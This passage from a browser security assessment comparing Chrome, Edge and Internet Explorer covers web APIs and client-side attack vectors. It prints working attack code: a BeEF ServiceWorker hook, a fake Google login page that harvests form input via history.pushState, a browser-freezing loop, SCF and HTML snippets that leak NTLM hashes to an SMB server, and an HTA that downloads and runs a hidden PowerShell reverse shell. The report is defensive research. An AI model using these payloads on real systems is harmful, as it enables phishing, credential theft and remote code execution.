2 if (!(e.request.url.indexOf('' + beef.net.httpproto + '://' + beef.net.host + ':' + beef.net.port +

'') >= 0)),→
3 e.respondWith(new Response('' + tempBody +
4 '<script src=\'' + beef.net.httpproto + '://' + beef.net.host + ':' +

beef.net.port + hook +,→
5 '\' type=\'text/javascript\'></script>', {
6 headers: {
7 'Content-Type': 'text/html'
8 }
9 }))

10 else
11 e.fetch(e.request)
12 } //

Listing 11.3: Hooking of onfetch

As a result of hooking the onfetch call, persistence in the origin is achieved, as proven by the screenshot in
figure 11.2 showing two different resources being hijacked in the sameway.
ServiceWorkers support inMicrosoft Edge is still experimental, and needs to be enabled via about:flags.
However even after enabling it, it was not clear how to call the navigator.serviceWorker.registermethod,
since the navigator was not referencing the serviceWorker object.

11.4.2 WebRTCAndORTC
WebRTC allows RTC between two browsers. ORTC is similar but was designed to provide lower-level
access and finer grained control: in theory it should be possible to implementWebRTC in JavaScript using
ORTC. ORTC is sometimes referred to asWebRTC 2.0.
Both of these technologies allow the creation of peer-to-peer connections, both over the Internet and
directly on a local network. To be able to create these connections, the website needs to be able to
determine the IP addresses (intranet and Internet) of themachine it is running on. There are APIs in both
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Figure 11.2: Hook persistence across same-origin resource via ServiceWorkers

WebRTC and ORTC that allow a website to determine these IP addresses. An attacker can abuse these
APIs to leak the local network IP address and abuse it in further attacks against the local network.
Microsoft Edge implements ORTC and provides a partial implementation ofWebRTC. The ORTC imple-
mentation ofMicrosoft Edge is vulnerable to this local network IP address information leak in the default
configuration. TheWebRTC implementation does not appear to allow local network IP address enumer-
ation and is therefore not vulnerable. Google Chrome implementsWebRTC and has plans to implement
ORTC. In the default configuration, theWebRTC implementation of Google Chrome is vulnerable to this
local network IP address information leak. The relevant ORTC functions are not implemented andORTC
therefore do not appear to allow local network IP address enumeration. Internet Explorer implements
neither ORTC norWebRTC, and is not affected by this information leak.
The following code (see listing 11.4) shows how to extract the local IP address using ORTC as implemented
in Microsoft Edge. It does not work against Google Chrome or Internet Explorer, as neither currently
implement the RTCIceGatherer API of ORTC.

1 var oRTCIceGatherer = new RTCIceGatherer({
2 "gatherPolicy": "all",
3 "iceServers": [ ],
4 });
5 oRTCIceGatherer.onlocalcandidate = function (oEvent) {
6 if (oEvent.candidate.type == "host") {
7 console.log("Found local ip address " + JSON.stringify(oEvent.candidate.ip));
8 };
9 };

Listing 11.4: UsingORTC to Extract Local IP
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Microsoft Edge provides a setting in the "about:config" page that allows a user to prevent theORTCAPI
from disclosing local IP addresses, but the default settings is to enable local IP addresses. Furthermore, this
settings page cannot be accessed using theMicrosoft Edge user interface but its address must be typed in
the address bar manually. This makes it highly unlikely that the average user will disable it.
The code in listing 11.5 shows how to extract the local IP address usingWebRTC as implemented in Google
Chrome. It does not work againstMicrosoft Edge or Internet Explorer, as neither currently implement the
RTCPeerConnection.createDataChannelAPI.

1 var oRTCPeerConnection = new RTCPeerConnection(
2 { "iceServers": [ ] },
3 {
4 "optional": [
5 { "RtpDataChannels": true },
6 { "googIPv6": true },
7 ]
8 }
9 );

10 oRTCPeerConnection.onicecandidate = function (oEvent){
11 if (oEvent.candidate) {
12 var asCandidate = oEvent.candidate.candidate.split(" ");
13 if (asCandidate[7] == "host") {
14 var sIPAddress = asCandidate[4];
15 if (/[0-9]{1,3}(?:\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){7}/.exec(sIPAddress)) {
16 console.log("Found local ip address " + JSON.stringify(sIPAddress));
17 };
18 };
19 };
20 };
21 oRTCPeerConnection.createDataChannel("", { "reliable": false });
22 oRTCPeerConnection.createOffer(
23 function (oRTCSessionDescription){
24 oRTCPeerConnection.setLocalDescription(
25 oRTCSessionDescription,
26 function () {
27 },
28 function (sErrorMessage) {
29 console.log("Could not set local description: " + sErrorMessage);
30 }
31 );
32 },
33 function (sErrorMessage) {
34 console.log("Could not create offer: " + sErrorMessage);
35 }
36 );

Listing 11.5:WebRTC Local IP Extraction

Google Chrome currently does not offer a setting that allows the user to prevent theWebRTCAPI from
disclosing local IP addresses. There are a number of third-party extensions available that attempt to do
this, with varying degrees of success. This makes it highly unlikely that the average user will disable it.
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11.4.3 HistoryManagement
The history API is a convenient way of dealing with entries in the browser history, programmatically modify
them, move back and forth through the browser history, etc. All browsers support this API, including
Internet Explorer.
The following code (see listing 11.6) is an example on how to abuse the history.pushState call, which is used
to add a new entry to the browser history. The new entry URL needs to be same-origin of the onewhere
the history call originated, otherwise an exception is thrown.

1 var replace = "/session.00001231234212324234234123.accounts.google.com/mail/#inbox"
2 history.pushState({},'', replace);
3

4 // the following var holds the base64 encoded version of the index file retrieved via
5 // wget -p -k https://accounts.google.com (retrieved, it's the page_to_base64--account_google_login file)
6 var google_accounts_b64_html = "base64_encoded_login_page==";
7

8 window.addEventListener('load',function(){
9 document.body.innerHTML = atob(google_accounts_b64_html);

10

11 window.history.pushState('','',replace);
12 var fs = document.querySelectorAll('form')
13

14 for(i=0;i<fs.length;i++){
15 fs[i].addEventListener('submit',function(e){
16 e.preventDefault(); e.stopPropagation();
17 var c = '';
18 var i = document.querySelectorAll('input');
19 for(x=0;x<i.length;x++){
20 c += i[x].name + "=" + i[x].value + '\n'
21 }
22 console.log(c);
23 })
24 }
25

26 })

Listing 11.6: Abuse of history.pushState - Example 1

In the code above the current page body is replacedwith a Google Account login page, overrides the form
submission and intercepts the email entered. It is possible to modify the code to support entering the
password as well, which would be served over a second page. This behavior is achievable just via XSS which
is a known attack vector. What comes in handy is the possibility of using pushState(see figure 11.3) to mask
the real URL (which in case of a Reflected XSS could depend on injection and payload), or to confuse the
victim adding long strings endingwith accounts.google.com as an example. Using short domain names like
i.io or g.comakes it easier for an attacker to dynamically camouflage its phishing scenarios via pushState.
Another way of abusing this feature is to freeze the current tab (or even the whole browser) by just calling
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pushState in a loop, like presented in the code in listing 11.7.

1 a='lol';
2 for(b=0;b<999999;b++){
3 history.pushState({},{},a);
4 a=a+b;
5 }

Listing 11.7: Abuse of history.pushState - Example 2

Running the code above will make the current tab and also the entire browser unresponsive while the code
runs. This behavior was supposed to be patched by limiting the number of pushState calls per second, but it
can be still reproduced on the latestGoogleChrome(see 14 for the bugreport). Microsoft Edge instead is not
affected by this problem, and the code above does not trigger any Denial of Service (DoS) or CPU/memory
spikes.

Figure 11.3:Modifying the controlled origin content to harvest credentials confusing the victim via history.pushState
14https://bugs.chromium.org/p/chromium/issues/detail?id=394296
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11.4.4 WebAssembly
WebAssembly (WASM)15 is a technology that enables usage of compiled code in web contexts of browsers.
It originally evolved from JavaScript, aiming at supporting compilation of C and C++ code. Based on LLVM16
the technology is also suited for other compiled languages and now also supports languages like Rust17.
WASM is shipped inGoogleChrome and available for preview inMicrosoft Edgewhen enabling it via about:
flags in version 15.15063 or later. It is not available in Internet Explorer and no support is announced.
In terms of security impact there are twomain threat scenarios to be considered:

1. Attacks using WASM against the browser, other components, or the operating system (privilege
escalation).

2. Attacks against applications implemented usingWASM.

We consider the first scenario to provide an attack surface very similar to JavaScript. The same sandboxing
strategies andmitigations seem to be employed in the browsers. In Google ChromeWASMprograms run
inside a sandboxed renderer process and inMicrosoft Edge,they run in the content process belonging to the
webpage which runs in an AppContainer. Since it is possible to call JavaScript functions fromWASM code
via the imports table, theremight be an increased chance of concurrency issues regarding temporalmemory
safety by possibly triggering early garbage collection. We did not identify generic attacks regarding this.
The second scenario is related to vulnerabilities that might be exploited in web applications that use web
assembly. Since different programming languages and especially C and C++ might have features that
negatively impact security, applicationswritten inWASMmight have vulnerabilities not found in JavaScript
based applications (and vice versa).
WebAssembly specifies several constraints on the operation of programs that aim to ensure increased
safety regarding memory operations and other possibly unsafe operations. In particular there are con-
straints regarding control flow hijacking enforced at runtime. Most importantly the compiled code is
inaccessible for read or write by the application itself at runtime.
The general security design choices, remarks and techniques in the following apply to both Google Chrome
andMicrosoft Edge.

11.4.4.1 Handling of Application Level Invalid Actions and Error Cases

Wediscovered some unexpected behavior in our tests using emcc (Emscripten gcc/clang-like replacement
+ linker emulating GNU ld) 1.37.14 clang version 4.0.0 (emscripten 1.37.14 : 1.37.14) on Linux to compile
15https://webassembly.org
16https://llvm.org
17https://github.com/rust-lang/rust/issues/33205
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WASMbinaries fromC code. When running the binaries onMicrosoftWindows and testing various error
conditions it was discovered that even though the documentation mentions traps18, no traps for faulty
behavior were emitted at runtime. Instead, zero values were returnedwhen accessing or writing buffers
out of bounds.
We discovered that apparently the reasonwas the following: when compiling as a sidemodule using the
flag -s SIDE_MODULE=1, the traps and security checks were not triggered, even though they were explicitly
allowed on the compiler command line using -s “BINARYEN_TRAP_MODE=’allow”’.
An example function where no trap was hit when compiled toWASM is shown in listing 11.8.

1 unsigned char stack_oob_read() {
2 char buf[256];
3 for (size_t i = 0; i < sizeof(buf); i++)
4 buf[i] = i;
5 return buf[256]; //oob
6 }

Listing 11.8:Out-of-Bounds Read

When compiled using the command line emcc wasmtests.c -O2 -s "BINARYEN_TRAP_MODE=’allow’"

-s WASM=1 -s SIDE_MODULE=1 -o wasmtests.wasm, no trap was observed.
Without deeper investigation of the root cause, we consider this behaviour a good example for insecure
and unexpected behaviour that might emerge in applications usingWASM.
Since the security checks as specified anddocumented19 in theWASMopenplatform seemed to beworking
in our tests, this poses no direct threat to the browsers’ security in terms of privilege escalation. Yet the
WASM based applications itself might show unexpected behavior with security impact. As an example,
cryptographic libraries ported toWASMwhere predictable values can causemajor security vulnerabilities.
We expect that existing code in legacy libraries will be cross-compiled toWASM in the future.
In conclusion both browsers emit the expected behavior and enforced traps when they were enabled and
not optimized out. But since the traps are introduced during compile time, there is not runtime guarantee
that application level unsafe behaviour will not occur. We recommend to all browser vendors to consider
this regarding runtime checks and future improvements to theWASM specification.

11.4.4.2 Arithmetic Overflows and Truncation

All testedWASM implementations were implementing thewasm32 architecture variant. An ILP32model
was used here. This model is using 32-bit for int, long, and pointer types. ILP32 uses 64-bit for the type
18https://github.com/kripken/emscripten/wiki/WebAssembly
19http://webassembly.org/docs/security/
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long long, yet using long long types in the tested C code led to an error being emitted when importing
the WASM binary. Truncation and wrap-arounds were observed on values being passed directly from
JavaScript toWASMC functions that had int, size_t, and long arguments. The truncation is expected
due to the nature of wasm32. Still, it might not be expected by developers and lead to vulnerabilities in
WASMbased applications.
For example the following function (see listing 11.9) defined in C could be called from JavaScript using a
value not representable by 32 bits.

1 long arg_over(unsigned long val) {
2 // overflow while passing val?
3 return val;
4 }

Listing 11.9: C FunctionWith long Argument

The following code passes value 8589934590 into the function arg_over as defined in listing 11.10.

1 // Check for wasm support.
2 if (!('WebAssembly' in window)) {
3 alert('you need a browser with wasm support enabled :(');
4 }
5

6 // Loads a WebAssembly dynamic library, returns a promise.
7 // imports is an optional imports object
8 function loadWebAssembly(filename, imports) {
9 // Fetch the file and compile it

10 return fetch(filename)
11 .then(response => response.arrayBuffer())
12 .then(buffer => WebAssembly.compile(buffer))
13 .then(module => {
14 // Create the imports for the module, including the
15 // standard dynamic library imports
16 imports = imports || {};
17 imports.env = imports.env || {};
18 imports.env.memoryBase = imports.env.memoryBase || 0;
19 imports.env.tableBase = imports.env.tableBase || 0;
20 if (!imports.env.memory) {
21 imports.env.memory = new WebAssembly.Memory({ initial: 256 });
22 }
23 if (!imports.env.table) {
24 imports.env.table = new WebAssembly.Table({ initial: 0, element: 'anyfunc' });
25 }
26 if (!imports.env.abort) {
27 imports.env.abort = new WebAssembly.Table({ initial:0, element: 'anyfunc' });
28 }
29 // Create the instance.
30 return new WebAssembly.Instance(module, imports);
31 });
32 }
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33 // Main part of this example, loads the module and uses it.
34 loadWebAssembly('wasmtests.wasm')
35 .then(instance => {
36 var exports = instance.exports; // the exports of that instance
37 let val = 8589934590;
38 let result = exports._arg_over(val)
39 if (val != result) {
40 console.log("val("+val+") changed to "+result);
41 } else {
42 return console.log("ok values did not change");
43 }
44 }
45 );

Listing 11.10: JavaScript Calling C Function

The returned value of arg_over is -2. The LEGALIZE_JS_FFI 20 flag did not have any effect here.
This behaviour was observed inMicrosoft Edge and Google Chrome. Since the argument types are known
during import of a WASM binary file, the browsers could introduce runtime checks to warn or prevent
arithmetic overflows.

11.4.4.3 WASMMitigations and Exploit Primitives

Also, return addresses of the call stack are in a protected space not reachable by linear buffer overflows,
branches are constrained to the current function, and function calls are checked to be contained in the
predefined function index table which holds all functions. Type signatures are checked.
These protections aim to limit control flow hijacking attacks coming from inside theWASM application.
Yet sinceWASMemits JIT compiled code, it might be used to create Return-Oriented Programming (ROP)
gadgets or other kinds of primitives such as the C function shown in listing 11.11.

1 // write 0x41 to ptr + offset
2 void ptrWrite(char *ptr, int offset ) {
3 char *optr = *ptr+(char *)offset;
4 *optr = '\x41';
5 }

Listing 11.11: ROPGadget Generation withWASM

When passing through LLVM the native instructions shown in listing 11.12 were emitted, that might be
useful for exploitation.
20https://github.com/kripken/emscripten/blob/663fd4213575c8d52d799c0b1a9d95e182f6687f/src/settings.js#L

725
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1 wasm-function[0]:
2 sub rsp, 8 ; 0x000000 48 83 ec 08
3 movsx eax, byte ptr [r15 + rdi] ; 0x000004 41 0f be 04 3f
4 add esi, eax ; 0x000009 03 f0
5 mov byte ptr [r15 + rsi], 0x41 ; 0x00000b 41 c6 04 37 41
6 nop ; 0x000010 66 90
7 add rsp, 8 ; 0x000012 48 83 c4 08
8 ret ; 0x000016 c3

Listing 11.12:WASMROPGadgets

While the above code is safe insideWASM contexts, an attacker might misuse it in other contexts.
Due to the nature ofWASM the resulting JIT compiled codemay bemuchmore predictable for an attacker.
Going beyond using JIT code for classical heap spraying, JIT primitive spraying could be interesting from
an attacker’s point of view. While the process images of Google Chrome and Microsoft Edge contain a
sufficient amount of ROP gadgets due to their size, custom gadget creation viaWASM, spraying attacks,
and in general usage of WASM to create code in executable pages may be a convenient way to create
powerful primitives. An attacker now has complete functions at hand that he canmostly control and that
must be valid call targets from JavaScript thus being added to a CFI whitelist at some point.
In conclusion Google Chrome andMicrosoft Edge took similar steps to secure themselves fromWASM
based attacks. The enforcement of traps seems to work as expected, yet arithmetic overflows and trunca-
tion might pose a problemwhen usingWASMmodules from JavaScript. As seen aboveWASM could be
used as gadget helping in the exploitation of other vulnerabilities. In general,WASMbased applications
might be vulnerable to application specific attacks. This might for example be undefined behaviour or
source code level expectations that do not hold on the newwasm32 architecture. We do not think this can
be successfully mitigated in Google Chrome orMicrosoft Edge. However, more strict error checking and
more verbose logging at import and translation timewould be advised. Examples for this could be data type
size constraints on function arguments that should trigger a warningwhen such functions are imported
andmade accessible for JavaScript code.

11.4.5 WebGL
All three analyzed browsers support the rendering of 3D graphics in web contexts withWebGL. It allows
GPU backed rendering and complex graphics operations via JavaScript API.
Besides executing simple commands,WebGL even supports shader programs via a language calledOpenGL
Shading Language (GLSL)21. It is a C-like language that enables flexible and powerful graphics programming.
GLSL has no pointers whichmight benefit safety. It works cross platform on all major GPUs. The programs
are passed to abstraction layers and compiled there before being passed to the hardware. Google Chrome
21https://www.opengl.org/registry/doc/GLSLangSpec.4.50.pdf
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uses Almost Native Graphics Layer Engine (ANGLE)22 as abstraction layer and inMicrosoft Edge GLSL pro-
grams are translated using a transpiler23 to theMicrosoft High Level Shading Language (HLSL) that works
onDirect3D 10.

11.4.5.1 Attack Surface

The attack surface ofWebGL can be divided into three areas:

1. Attacks against the graphics kernel drivers.
2. Attacks against the graphics hardware (exploit bugs or even features).
3. Attacks against other contexts via information leaks (timing attacks, shaders, resources fromdifferent
origins), or exploitation of intermediate parsers (inWebGL code).

Especially the first two areas may enable an attacker to gain the highest privileges on a system andmay
allow to escape the browser sandbox. This is true for both browsers since kernel drivers and hardware are
not subject to any current sandboxing techniques.
Tomitigate possible security problems, API calls and shader programs are sanitized during translation.
The ANGLE library of Google Chrome and theWebGL transpiler ofMicrosoft Edge are prime targets for
exploitation since they parse untrusted complex data originating fromweb origins.

11.4.5.2 Mitigations, Sandboxing andHardening

A dedicated process is used by Google Chrome for rendering tasks and to communicate with graphics
drivers. This task is running with a low integrity level. It is therefore less restricted than renderers, the PDF
reader, or the Adobe Flash process, making it an interesting target for possible sandbox escapes.
InMicrosoft Edge and Internet Explorer the content processes are directly taking care of communication
with the graphics driver. A content process is running inside the AppContainer sandbox inMicrosoft Edge
and as a low integrity process in Internet Explorer.
The different approaches have benefits and drawbacks at the same time. Due to the fact that Internet
Explorer onMicrosoftWindows 10 only uses the protectedmode sandbox (low integrity processes) it has
to be considered the weakest in terms of security. Google Chrome also uses a low integrity process for
WebGL processing, but in contrast toMicrosoft Edge and Internet Explorer this process is dedicated only to
rendering. Microsoft Edge rendersWebGL inside a content process that is restricted by an AppContainer.
22https://github.com/google/angle
23https://windowsforum.com/threads/open-sourcing-the-microsoft-edge-webgl-glsl-transpiler.221512/
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In terms of direct control flow hijacking usingWebGLwe consider that this mainly depends on the quality
of the abstraction libraries ANGLE and theMicrosoft Edge/ Internet Explorer transpiler and possible bugs
that theymight contain. HereMicrosoft Edgewould have an advantage since theWebGL abstraction is
running inside anAppContainer and a control flow hijack via this component is still therefore still contained.
This is different in Google Chrome since a compromise of the GPU process will give an attacker to access to
all rendering activities from all origins as well as the graphics drivers.
In terms of vulnerabilities present in the kernel drivers or hardware, the strategy of compartmentalizing
GPU related activities employed by Google Chrome is considered to be superior. This is due to the fact that
attackers exploiting bugs in a sandboxed renderer would not directly be able to access possibly dangerous
kernel APIs that are intended forWebGLonly. Assuming, of course, that there are no easily exploitable bugs
in the abstraction or attacks that pass the verification and validation. TheWebGL processing is currently
done in a dedicated rendering process sharedwith other rendering tasks.
In conclusion, we think the separate process used by Google Chrome is beneficial, but not sufficient. We
recommend separating theWebGL processing and abstraction layers, sandboxing them separately.
X41 D-Sec GmbH also considers containing the abstraction layer ofWebGL inMicrosoft Edge and Internet
Explorer inside the sandbox as beneficial, yet the exposure of kernel attack surface negatively impacts
security especially since the sandbox is shared with other components and code that might expose vul-
nerabilities. We propose to further lock down a standaloneWebGL process and possibly move part of the
abstraction layer into the renderer process. Yet it has to be ensured that no validation and security relevant
verification tasks aremoved into the renderer that could bemodified to increase the kernel attack surface.

11.4.6 WebNotifications
TheWebNotifications API24 allowswebsites to alert the user by showing a small window outside of the
browser, optionally playing a sound and vibrating the device. This notification window can contain images
and un-formatted text. Before a website can display any notification, user interaction is requiredmeaning
the site must ask the user for permission to show these windowswhich the user must explicitly allow.
Of the tested browsers, only Google Chrome andMicrosoft Edge support this API; Internet Explorer does
not implement it.
The standard was designed to allow the browser to use the built-in notification system of theOS onwhich
the browser is running. While this arguably creates a better user experience, it also allows a website access
to theOS notification system. These notifications can include images, and if theOS’s notification system
uses different image parsing engines than the browser, it could increase the image rendering engine attack
surface significantly. Additionally, this could potentially allow an attacker to escape the browser sandbox
through a bug in theOS notification system, since theOS notification systemwill be running outside the
browser sandbox.
24https://notifications.spec.whatwg.org/
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Of the tested browsers, onlyMicrosoft Edge uses the built-in notification systemof theOS. Google Chrome
creates the notification window itself and does not need to rely on external processes to show notifications.
InMicrosoft Edgenotifications are shownusing the ShellExperienceHost.exeprocess, which runs in a separate
AppContainer. It appears to be sandboxed as well as otherMicrosoft Edge processes, meaning that it only
allows the process to access its own private storage on the file system, a very limited set of registry keys, no
other processes, and does not allow the process to bind a socket. The process does have the ability to make
network connections. This limits its utility as a sandbox escape vector, as an attacker would find themselves
in a different, but similarly restrictive sandbox.
Notifications coming from amalicious site could potentially be forged to look similar to notifications coming
from a legitimate site to deceive the user. Clicking a notification is often used to open the relevant site,
so spoofing a message from a legitimate website may allow an attacker to trick the user into visiting a
malicious website believed to be legitimate. This would be particularly true for chat-apps, where the user
might get used to seeing valid notifications frequently enough to not check the source of the notification or
the address of the website that is opened after clicking it.
Both Google Chrome andMicrosoft Edge show the source of the notification at the bottom of the notifica-
tion window in a small font. Google Chrome shows the full origin; hostname and port number, whereas
Microsoft Edge only shows the hostname. In Google Chrome, an image can be added to the notification.
This image is shown below themessage and its source, thusmaking the location of the source in thewindow
variable. This makes it hard, if not impossible, for a user to distinguish between the source as provided by
Google Chrome and any spoofed source provided in the image. AsMicrosoft Edge uses theOS’s notification
system, amalicious website might even attempt to spoof amessage coming from another application.
TheWebNotifications API provides a way for a notification to trigger a vibration on devices that support it,
such as mobile phones. However, it appears that none of the tested browsers support these features at the
moment.
Themaximum size of the notification are restrained by both Google Chrome andMicrosoft Edge to rea-
sonable limits. This effectively limits its use in spoofing other UI elements on which the user might base
security decisions, such as the address bar.
Google Chrome has plans to limit the availability of theWebNotification API to secure websites only in the
near future. This makes sense, as an attacker able to launch aMITM attack against an unsecuredwebsite
with notification privileges, could insert script to use those privileges to show notifications without the
user’s explicit consent.
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11.4.7 Battery Status API
The Battery Status API25 can be used bywebsites to query the battery level of the device thewebsite is
running on, to decide whether to perform power hungry operations. The information can also be used
to identify and track users on the same machine across different websites26. It has also been shown
that the total battery capacity can be calculated based on the battery status information, under certain
circumstances27. This can also be used to uniquely identify amachine. Based on this researchMozilla has
disabled their implementation of the Battery Status API in Firefox.
Of the tested browsers, only Google Chrome implemented the Battery Status API.

25https://www.w3.org/TR/battery-status/
26https://blog.lukaszolejnik.com/battery-status-readout-as-a-privacy-risk/
27https://lukaszolejnik.com/battery.pdf
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12 Client-side Attack Vectors

In this chapter we analyze the resilience of the browser against a number of client-side attack vectors that
are commonly used by attackers: generic attacks such as SMB credentials leaks, HTML applications, as
well as phishing and browser extensions. Wewill demonstrate a number of attacks that work in current
versions of Google Chrome, Microsoft Edge, and Internet Explorer. Since these techniques can be used
during phishing campaigns, the anti-phishing engines used by bothMicrosoft Edge and Google Chrome
have been tested. Finally, browser extensions are analysed, discussing their permissions models as well as
malicious use.

12.1 COMMON CLIENT-SIDE ATTACKS
There aremany client-side techniques that could be discussed and wewill cover a few exemplarily that are
practical andwork against the tested browsers.

12.1.1 Downloads AndDangerous Filetypes
Microsoft Edge and Internet Explorer ask the user what they want to do for each download, giving the user
an opportunity to prevent a download altogether, except for a few special cases (like PDF files which are
openedwithout user interaction). In contrast, Google Chromewill automatically download files that are
considered safe based on their extension, such as .txt files: it does not explicitly ask the user for permission
or allow the user to prevent such downloads without modifying the settings. A list of all file extensions
allowed by Google Chrome can be found in the SafeBrowsing source code1.
Google Chrome automatic download of certain files types is an attempt tominimize UI interaction on file
types considered safe, while raising awareness on potentially harmful ones.
Automatic downloads open up for a number of attacks that rely on the response to new files being written
1https://cs.chromium.org/chromium/src/chrome/browser/resources/safe_browsing/download_file_types.asciip

b?q=asciipb+package:%5Echromium$&l=1
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to disk by theOS or applications installed on the system. For instance, if some indexing or anti-virus service
is installed that attempts to inspect different types of files written to disk by parsing various file-formats,
automatic downloads could be used as an attack vector for vulnerabilities in one of these file-format parsers.
Forcing the download of a file that is specially crafted to exploit such a vulnerability, would trigger the
exploit when the service attempts to parse the file immediately after download.
Another such attack involves how Link / Shortcut File (LNK) andWindows Explorer Command File (SCF)
files are handled byWindows Explorer, as pointed out by J. Brossard in 20152. As soon as the user browses
a folder containing a SCF file,Windowswill automatically parse the SCF file. The parser will retrieve any
resources specified in the file (such as icon files) even if they are stored on remote SMB paths, as shown in
listing 12.1. This results in the NT LANManager v2 (NTLMv2) credentials being sent to the SMB server
where the resource is stored.

1 [Shell]
2 IconFile=\\6.6.6.6\icon

Listing 12.1: Icon File SCF example

An attacker could set up a SMB server and force-download a SCF file when a victim browsed a website
under their control: the .scf file extension was until recently considered safe (see figure 12.1) to download.
Now, when the user browsed the folder in which the file was downloaded, the .scf file would be parsed,
which referenced an icon file on the attacker’s SMB server. Windowswould attempt to retrieve the icon
file and in the process leak the user’s credentials to the attacker’s server.

Figure 12.1: Responder collecting hashes thanks to the credential leak

Google Chromemitigated this problem by blacklisting SCF files in the SafeBrowsing code, with the new
entry shown in listing 12.2.
2https://www.blackhat.com/docs/us-15/materials/us-15-Brossard-SMBv2-Sharing-More-Than-Just-Your-Files.p

df
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1 file_types {
2 extension: "scf"
3 uma_value: 49
4 ping_setting: FULL_PING
5 platform_settings {
6 platform: PLATFORM_WINDOWS
7 danger_level: DANGEROUS
8 auto_open_hint: DISALLOW_AUTO_OPEN
9 }

10 }

Listing 12.2: Blacklisting of SCF in SafeBrowsing

The SCF issue shows that theremay be undetected security risks in some file types that are considered safe,
whichmakes automatic downloads a potential attack vector. In order to detectwide-scale attacks using this
vector, downloaded files aremonitored by SafeBrowsing: if an attacker starts exploiting a vulnerability in a
specific file-type, the SafeBrowsing team should notice a sudden increase in downloads for that file-type.
The SafeBrowsing team can mitigate this attack by updating the list of malicious file extensions, which
could potentially be donewithin a few hours.

12.1.2 Credential Leakage Via HTMLResources
Another way to leak SMB credentials onMicrosoft Edge and Internet Explorer, but which does not work on
Google Chrome, is using a SMB resource in a href with the HTML 5 download attribute. The linkmay be
automatically “clicked” using the click()method of the link inside a onmousemove event on the body element
of the page: as soon as the mouse is over the page, the event fires and the link is automatically clicked.
This causes bothMicrosoft Edge and Internet Explorer to start the download andmake a request to the
SMB server, at which point credentials are again leaked to the attacker. This attack has been the subject
of conference talks and papers3 as well and is therefore publicly known. It is can be practically exploited
with Responder 4, and either use Pass-the-Hash 5 or distributed password cracking to use the credentials.
Figure 12.1 shows an example of the code triggering onmousemove and leaking the password hashes to
Responder.
As shown in Figure 12.2, even though a file download dialogue is shown, the credentials are leaked as soon
as the onmousemove event is triggered (see listing 12.3), without any need to click “Open” or “Cancel” on
the dialog.
An even easier method of triggering a connection to a remote SMB server is using file:// resources in image
tags. This was tested to work inMicrosoft Edge and Internet Explorer at the time of writing.
3https://www.blackhat.com/docs/us-15/materials/us-15-Brossard-SMBv2-Sharing-More-Than-Just-Your-Files

-wp.pdf
4https://github.com/lgandx/Responder
5https://www.harmj0y.net/blog/penetesting/pass-the-hash-is-dead-long-live-pass-the-hash/
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Figure 12.2: The only user interaction needed is moving themouse anywhere on the page, which is unavoidable once
the browser has navigated to the attack page.

Note that the PoC code uses a private IP, however the attacks works reliably using a remote SMB server as
far as the target does not perform egress filtering of SMB ports like 445.
An attacker targeting an enterprise whose employees use Microsoft Edge or Internet Explorer could
perform a phishing or watering-hole attack to trick employees into opening amalicious webpage in either
browser. Either of the attacks described above could then be used to obtain usernames and password
hashes. Depending on the target network’s external footprint (OutlookWebAccess, SharePoint, VPNs,
anything with web-based authentication integrated in Active Directory) this might offer an attacker an
easy and cheapway into the company’s network, instead of having to acquire and deploy an exploit for a
memory corruption issue in either browser, given thework that has gone intomitigating against the later
type of attack.
Interestingly enough, when X41 D-Sec GmbH contacted Microsoft to report this credential leak as a
security regression inMicrosoft Edge, they stated this was a known issue and there are currently no plans
to do address it. This means attackers can continue to employ this quite stealthy way of leakingWindows
credentials in their phishing campaigns for the foreseeable future.

1 <!-- 10.0.61.72 runs Responder with the following options: responder -I eth0 -w -r f -v -->
2 <body onmousemove="document.getElementById(6).click()">
3 <a id=6 href="\\10.0.61.72\edgeleak" download>tryme</a>
4 </body>

Listing 12.3: PoC for SMBCredential Leak

The default behavior can be changed using theMicrosoftWindows registry settings. By setting the registry
keyClientAllowedNTLMServers inHKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\MSV1_0\
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the insecure behavior can bemitigated.

12.1.3 Dangerous Legacy Functionality
Exploitation of vulnerabilities in browser plug-ins (Java, Flash, RealPlayer, etc.) is not as common as it was
four or five years ago. However, because Internet Explorer lacks an effective Click-to-Play implementation,
attacks via signed Java Applets are still a possibility, and Flash vulnerabilities can be triggered without user
interaction. Moreover, in Internet Explorer the support for Browser Helper Objects via ActiveX can be
abused to execute arbitrary code on the target.
Microsoft Edge stopped supporting ActiveX, however it still supports HTMLApplications (HTA). Google
Chrome does not support these technologies, and also dropped support for Netscape Plugin Applica-
tion Programming Interface (NPAPI) which could also be abused. We see this as a big improvement and
advantage ofMicrosoft Edge and Google Chrome over Internet Explorer in terms of security.
Internet Explorer has a feature called ActiveX Filtering6, but it is not enabled by default. Both ActiveX
andHTAs have always been two reliable choices for an attacker to launch client-side attacks. With HTAs,
supported from Internet Explorer version 5.5. to 11, and also inMicrosoft Edge7, it is easy to obtain reverse
shells via a file-less PowerShell payloadwhich is triggeredwith the following code shown in listing 12.4.

1 <script>
2 var c = "cmd.exe /c powershell.exe -w hidden -nop -ep bypass -c
3 \"\"IEX ((new-object net.webclient).downloadstring('http://10.0.61.75:3000/ps/ps.png'));
4 Invoke-ps\"\"";
5 new ActiveXObject('WScript.Shell').Run(c);
6 </script>

Listing 12.4: Reverse Shell via PowerShell Payload

Theuser needs toOpenor Save theHTA, thenAllow the execution, as shown in the following screenshots. The
interesting point here is that the publisher of the HTA file looks likeMicrosoft (see figures 12.3 and 12.4).
There is no enforcement of the origin fromwhich the HTA is served, and as soon as the user clicks, reliable
remote code execution is assured. The same vulnerability has been used for many years on penetration
testing engagements when dealing with Citrix breakouts, kiosks escapes, or client-side exploitation. Since
HTA applications are run by a different processwhich is themshta.exe, blacklists tend tomiss that (SiteKiosk
used to be vulnerable to this for instance). If an attacker is able to compromise a trusted site and serve
the HTA from that origin, the second allow/deny prompt is not displayed. The HTA is trusted and run
automatically as soon as the victim opens it.
6https://testdrive-archive.azurewebsites.net/Browser/ActiveXFiltering/About.html
7https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2017/august/smuggling-hta-files-in-i

nternet-exploreredge/
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Figure 12.3: First user interaction required when serving the HTA from an http(s) origin

Figure 12.4: Second user interaction required after running the HTA

To mitigate attacks that rely on HTAs, it is possible to use software restriction policies8, for instance by
changing the default program associated to the file extension .hta to be notepad.exe (instead ofmshta.exe)9.
In conclusion, we consider Internet Explorer to be most vulnerable to client-side attack vectors. The
possibility to openweb-pages in Internet Explorer (see 6.1.2) withminimal user-interaction in the default
